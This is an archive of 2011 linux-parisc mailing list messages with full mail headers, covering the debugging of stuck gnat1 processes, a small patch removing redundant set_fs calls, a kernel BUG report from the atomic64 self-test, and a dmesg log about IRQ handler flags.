	Thu, 9 Jun 2011 22:21:36 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:44313 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756697Ab1FJCVf convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2011 22:21:35 -0400
Original-Received: by bwz15 with SMTP id 15so1828520bwz.19
        for <linux-parisc@vger.kernel.org>; Thu, 09 Jun 2011 19:21:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=j03AD1ME/n4VQ5p5eYDoZ/DRUpyWTmCBsPedL/e7lwM=;
        b=BIMt1kLWUl5Mas7uuvGMZvgCFBQAaeh4YTz81eMfuvqXjZN4gftkpEqhAjm7/2DhxW
         b8RTc34p7qySHAX+FVYh/mobcs3nF5WozkfgDJ/tudBCWzA+famV3EDChxUtPueGg4c0
         FMSelMddsOjTNJR0dYrOepxQ1pP0d1tt9mWuE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=aO7RHFVfMJ9kiKd/CK86s6A0AP4IU+apc2FTCUDog+GMOqn9PlPESaiqFPrgm71Zg7
         mhgk8W/YfAqQAlC4CKZRrxYdPKQG1EJaI+cEK0kCBFTxeTVri1gGzp2zs8fZSEOWxpDn
         n+bGpBUZuioCqBQmWptqi1LW8sj7t2XZXlqTE=
Original-Received: by 10.204.39.65 with SMTP id f1mr1386027bke.157.1307672494313; Thu,
 09 Jun 2011 19:21:34 -0700 (PDT)
Original-Received: by 10.204.37.200 with HTTP; Thu, 9 Jun 2011 19:21:34 -0700 (PDT)
In-Reply-To: <20110610013034.GA5353@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: VOpBRCRPYwmHXFHm91DIgob-nGk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3772
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3772>

On Thu, Jun 9, 2011 at 9:30 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> Here is another wierd bug -- four gnat1 process stuck at exactly the
> same location making zero forward progress. =A0I have seen this a num=
ber
> of times, so I thought it would be useful to report.
>
> As far as I can tell, all are stuck in the kernel. =A0Gdb can't step
> the code, nor do breaks on the next instruction ever get hit. =A0This
> may have something to do with the fact that the instruction is trying
> to read from text (C switch statement).
>
> This is with 2.6.39.1 with James' last two, but I have also seen this
> without the patches. =A0Machine is rp3440.

This looks like a combination of multiple bugs, the process is
probably dead, or not running, which is why gdb can't do anything with
it. I'm surprised the ptrace API isn't returning some more diagnostics
about the stuck process.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Stuck gnat1 processes
Date: Thu, 9 Jun 2011 23:01:35 -0400
Organization: nrc.ca
Lines: 35
Approved: news@gmane.org
Message-ID: <20110610030134.GA7699@hiauly1.hia.nrc.ca>
References: <20110610013034.GA5353@hiauly1.hia.nrc.ca> <BANLkTim57hUshC5Uaeojn9nzCxy23UE=Xg@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1307674904 21402 80.91.229.12 (10 Jun 2011 03:01:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2011 03:01:44 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 05:01:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QUryc-0002lX-7v
	for glpp-linux-parisc@lo.gmane.org; Fri, 10 Jun 2011 05:01:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751641Ab1FJDBh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2011 23:01:37 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2622 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751067Ab1FJDBh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2011 23:01:37 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D45164ED6; Thu,  9 Jun 2011 23:01:35 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <BANLkTim57hUshC5Uaeojn9nzCxy23UE=Xg@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3773
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3773>

On Thu, 09 Jun 2011, Carlos O'Donell wrote:

> This looks like a combination of multiple bugs, the process is
> probably dead, or not running, which is why gdb can't do anything with
> it. I'm surprised the ptrace API isn't returning some more diagnostics
> about the stuck process.

Why do you think the processes are dead or not running?  Top thinks
they are running at 100% CPU.  The general system responsiveness
seemed like full load.

The backtraces indicated that a diagnostic report was in process of
being output.  The $r19 register appears to point to the expected location.
Possibly, there is a space register mixup but gdb doesn't show them
correctly.  I think x/x $r19 worked ok.

There is no indication that the processes are waiting for anything.

Gnat1 would normally do a compilation and exit.  I don't believe it
is multithreaded.

Strace showed nothing.  Gdb always attached at the same location.

It was possible to kill the processes, and then make terminated when
the last process was killed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Stuck gnat1 processes
Date: Fri, 10 Jun 2011 07:29:35 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <BANLkTim6vmM2Q-ebUEYs3T872Xi-9rFDbA@mail.gmail.com>
References: <20110610013034.GA5353@hiauly1.hia.nrc.ca>
	<BANLkTim57hUshC5Uaeojn9nzCxy23UE=Xg@mail.gmail.com>
	<20110610030134.GA7699@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1307705383 17770 80.91.229.12 (10 Jun 2011 11:29:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2011 11:29:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 13:29:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QUzuE-0000E1-DV
	for glpp-linux-parisc@lo.gmane.org; Fri, 10 Jun 2011 13:29:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755651Ab1FJL3h convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jun 2011 07:29:37 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:49250 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753871Ab1FJL3h convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jun 2011 07:29:37 -0400
Original-Received: by bwz15 with SMTP id 15so2096916bwz.19
        for <linux-parisc@vger.kernel.org>; Fri, 10 Jun 2011 04:29:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=/97mjXHxVD4CvUybBWyM+7s6o5yjnHodVDxVzjk5+nY=;
        b=buN39ZfvjP92zIRLKnboCLZ8vpyouWovzMGVFIuMFDfuwombiV8qUPjZVKJLEesWI5
         1ju1UsTJBU5GY03wtHztjU5xee+RGQyiHy5FNVChpQEi09i4ZDn0GPaycltaMxzgXCzA
         W8xDam8xireGuUhpfgIKM2gdbCsoNq81WBDqw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=ZuLtngn+XFR5Cm7efpVRMZs+MijpnjShbTOn9UTAEH2V1aytQrnHyVccy+8+GRhdNP
         M8lvx2Fy9JAXVX9hOa2aJF9aflLIt2SpJcoJ/RPONY4GCikUuwdFn+TLdLSF5LbMrHcF
         +IpQfXJYX4qnfgznROA29+3uXzLPBwtyBI+aY=
Original-Received: by 10.204.76.73 with SMTP id b9mr1698475bkk.211.1307705375716; Fri,
 10 Jun 2011 04:29:35 -0700 (PDT)
Original-Received: by 10.204.37.200 with HTTP; Fri, 10 Jun 2011 04:29:35 -0700 (PDT)
In-Reply-To: <20110610030134.GA7699@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: gX5KYKUVrexierqvGEUEMeKOY0g
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3774
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3774>

On Thu, Jun 9, 2011 at 11:01 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> On Thu, 09 Jun 2011, Carlos O'Donell wrote:
>
>> This looks like a combination of multiple bugs, the process is
>> probably dead, or not running, which is why gdb can't do anything wi=
th
>> it. I'm surprised the ptrace API isn't returning some more diagnosti=
cs
>> about the stuck process.
>
> Why do you think the processes are dead or not running? =A0Top thinks
> they are running at 100% CPU. =A0The general system responsiveness
> seemed like full load.

If it's not dead, and running, why do you always attach and show $pc
at the same place?

This is either a ptrace bug, a gdb bug, or a kernel bug.

Either:

* Ptrace is incorrectly always returning $pc at a fixed location.

* Process is stuck faulting, running a signal handler, and returning
to the fault location.
- Does gnat it have a signal handler?

* Kernel is not running the process therefore whenever you attach it's
in the same place.

* gdb bug causes the process to always show as being in the same place.

You have to start ruling these out.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Stuck gnat1 processes
Date: Fri, 10 Jun 2011 06:37:19 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20110610123719.GD29089@parisc-linux.org>
References: <20110610013034.GA5353@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1307709450 10632 80.91.229.12 (10 Jun 2011 12:37:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2011 12:37:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 14:37:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QV0xm-0005oO-9v
	for glpp-linux-parisc@lo.gmane.org; Fri, 10 Jun 2011 14:37:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756156Ab1FJMhV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jun 2011 08:37:21 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:33562 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755273Ab1FJMhV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jun 2011 08:37:21 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id C9422494005; Fri, 10 Jun 2011 06:37:19 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20110610013034.GA5353@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3775
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3775>

On Thu, Jun 09, 2011 at 09:30:35PM -0400, John David Anglin wrote:
> As far as I can tell, all are stuck in the kernel.  Gdb can't step
> the code, nor do breaks on the next instruction ever get hit.  This
> may have something to do with the fact that the instruction is trying
> to read from text (C switch statement).

sysrq-l will show a backtrace for all CPUs.  That might be helpful in
diagnosing this problem.

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathias Krause <minipli@googlemail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc, exec: remove redundant set_fs(USER_DS)
Date: Fri, 10 Jun 2011 15:10:16 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <1307711416-14119-1-git-send-email-minipli@googlemail.com>
References: <BANLkTinv1teZEHMK0qymaVdcxPOErpqSyg@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1307711531 23760 80.91.229.12 (10 Jun 2011 13:12:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2011 13:12:11 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Mathias Krause <minipli@googlemail.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 10 15:12:05 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QV1VM-00051o-My
	for glk-linux-kernel-3@lo.gmane.org; Fri, 10 Jun 2011 15:12:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932186Ab1FJNL4 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 10 Jun 2011 09:11:56 -0400
Original-Received: from grimli.r00tworld.net ([83.169.44.195]:43688 "EHLO
	mail.r00tworld.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757442Ab1FJNKR (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 10 Jun 2011 09:10:17 -0400
Original-Received: by mail.r00tworld.net (Postfix, from userid 1000)
	id CC6F4115901B4; Fri, 10 Jun 2011 15:10:16 +0200 (CEST)
X-Mailer: git-send-email 1.5.6.5
In-Reply-To: <BANLkTinv1teZEHMK0qymaVdcxPOErpqSyg@mail.gmail.com>
Original-References: <BANLkTiknCeAxe30MJdVTxDom+ko8+EDQ4A@mail.gmail.com> <1307642718-22257-1-git-send-email-minipli@googlemail.com> <20110609155630.0f734351.akpm@linux-foundation.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1153515 gmane.linux.ports.parisc:3776
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1153515>

The address limit is already set in flush_old_exec() so those calls to
set_fs(USER_DS) are redundant.

Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
---
 arch/parisc/include/asm/processor.h |    2 --
 arch/parisc/kernel/process.c        |    1 -
 2 files changed, 0 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 9ce66e9..7213ec9 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -196,7 +196,6 @@ typedef unsigned int elf_caddr_t;
 	/* offset pc for priv. level */			\
 	pc |= 3;					\
 							\
-	set_fs(USER_DS);				\
 	regs->iasq[0] = spaceid;			\
 	regs->iasq[1] = spaceid;			\
 	regs->iaoq[0] = pc;				\
@@ -299,7 +298,6 @@ on downward growing arches, it looks like this:
 	elf_addr_t pc = (elf_addr_t)new_pc | 3;		\
 	elf_caddr_t *argv = (elf_caddr_t *)bprm->exec + 1;	\
 							\
-	set_fs(USER_DS);				\
 	regs->iasq[0] = spaceid;			\
 	regs->iasq[1] = spaceid;			\
 	regs->iaoq[0] = pc;				\
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 4b4b918..62c60b8 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -192,7 +192,6 @@ void flush_thread(void)
 	/* Only needs to handle fpu stuff or perf monitors.
 	** REVISIT: several arches implement a "lazy fpu state".
 	*/
-	set_fs(USER_DS);
 }
 
 void release_thread(struct task_struct *dead_task)
-- 
1.5.6.5


From - Thu Nov 08 21:07:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: kernel BUG at lib/atomic64_test.c:45!
Date: Fri, 10 Jun 2011 18:58:19 -0400
Organization: nrc.ca
Lines: 42
Approved: news@gmane.org
Message-ID: <20110610225819.GA11574@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1307746711 8376 80.91.229.12 (10 Jun 2011 22:58:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2011 22:58:31 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 11 00:58:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QVAen-0002IO-2D
	for glpp-linux-parisc@lo.gmane.org; Sat, 11 Jun 2011 00:58:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758084Ab1FJW6Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jun 2011 18:58:24 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2650 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758176Ab1FJW6W (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jun 2011 18:58:22 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8E1F94ED6; Fri, 10 Jun 2011 18:58:20 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3777
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3777>

I enabled a few kernel debug tests.  CONFIG_ATOMIC64_SELFTEST=y
triggers a bug:

Brought up 1 CPUs
------------[ cut here ]------------
kernel BUG at lib/atomic64_test.c:45!

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001000111000001111 Not tainted
r00-03  000000ff08048e0f 000000004065a5c0 000000004011b024 000000004068c8f8
r04-07  000000004063d5c0 0000000000000000 00000000405a300c 00000000405ff9a0
r08-11  000000004068f3c0 00000000405252b0 0000000000000001 0000000000000000
r12-15  000000004068f3c0 000000004065a5c0 ffffffffc0000000 0000000000000081
r16-19  000000004064b5c0 000000007f0732a0 0000000000000000 0000000000000001
r20-23  aaa31337c001d00d 0000000000000001 0000000040596ec0 0000000000000080
r24-27  0000000000000020 0000000000000020 00000000405ff9a0 000000004063d5c0
r28-31  0000000040596ec0 000000007f08c200 000000007f08c270 000000000800000f
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040674fc4 0000000040674fc8
 IIR: 03ffe01f    ISR: 0000000010240000  IOR: 0000000165996ec0
 CPU:        0   CR30: 000000007f08c000 CR31: 886904b488140042
 ORIG_R28: 0000000040118c1c
 IAOQ[0]: test_atomic64+0x28c/0x290
 IAOQ[1]: pci_sort_bf_cmp+0x0/0x48
 RP(r2): do_one_initcall+0x4c/0x1e0

        INIT(v0);
	r += onestwos;
=>      BUG_ON(atomic64_add_return(onestwos, &v) != r);
	BUG_ON(v.counter != r);

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Timer and IPI IRQ handler type mismatches
Date: Sat, 11 Jun 2011 11:29:28 -0400
Organization: nrc.ca
Lines: 425
Approved: news@gmane.org
Message-ID: <20110611152927.GA23753@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1307806179 14555 80.91.229.12 (11 Jun 2011 15:29:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 11 Jun 2011 15:29:39 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 11 17:29:34 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QVQ7x-0003Kp-AY
	for glpp-linux-parisc@lo.gmane.org; Sat, 11 Jun 2011 17:29:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758627Ab1FKP3c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 11 Jun 2011 11:29:32 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2673 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758582Ab1FKP3a (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 11 Jun 2011 11:29:30 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D73705319; Sat, 11 Jun 2011 11:29:28 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3778
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3778>

With CONFIG_DEBUG_SHIRQ, I see the error messages shown below:
Think IRQF_SHARED flag may need to be set.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

dave@mx3210:~/gnu/gcc/objdir$ dmesg
Linux version 3.0.0-rc2+ (dave@mx3210) (gcc version 4.5.3 20110101 (prerelease) [gcc-4_5-branch revision 168387] (GCC) ) #4 SMP Fri Jun 10 20:20:02 EDT 2011
unwind_init: start = 0x404d0000, end = 0x404ff410, entries = 12097
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00008870 00000491 00000000 00000002 3e0505e7352af711 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 20 rev 4 (0x00000284)
capabilities 0x35
model 9000/800/rp3440  
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
 1) Start 0x0000000100000000 End 0x000000027fdfffff Size   6142 MB
 2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
Total Memory: 10238 MB
initrd: 7f61a000-7ffeea6c
initrd: reserving 3f61a000-3ffeea6c (mem_max 27fe00000)
On node 0 totalpages: 262144
free_area_init_node: node 0, pgdat 405145c0, node_mem_map 419f6000
  Normal zone: 3584 pages used for memmap
  Normal zone: 0 pages reserved
  Normal zone: 258560 pages, LIFO batch:31
On node 1 totalpages: 1572352
free_area_init_node: node 1, pgdat 40515340, node_mem_map 140000000
  Normal zone: 21497 pages used for memmap
  Normal zone: 0 pages reserved
  Normal zone: 1550855 pages, LIFO batch:31
On node 2 totalpages: 786432
free_area_init_node: node 2, pgdat 405160c0, node_mem_map 4080000000
  Normal zone: 10752 pages used for memmap
  Normal zone: 0 pages reserved
  Normal zone: 775680 pages, LIFO batch:31
PERCPU: Embedded 9 pages/cpu @00000000427ff000 s7808 r8192 d20864 u36864
pcpu-alloc: s7808 r8192 d20864 u36864 alloc=9*4096
pcpu-alloc: [0] 00 [0] 01 [0] 02 [0] 03 [0] 04 [0] 05 [0] 06 [0] 07 
pcpu-alloc: [0] 08 [0] 09 [0] 10 [0] 11 [0] 12 [0] 13 [0] 14 [0] 15 
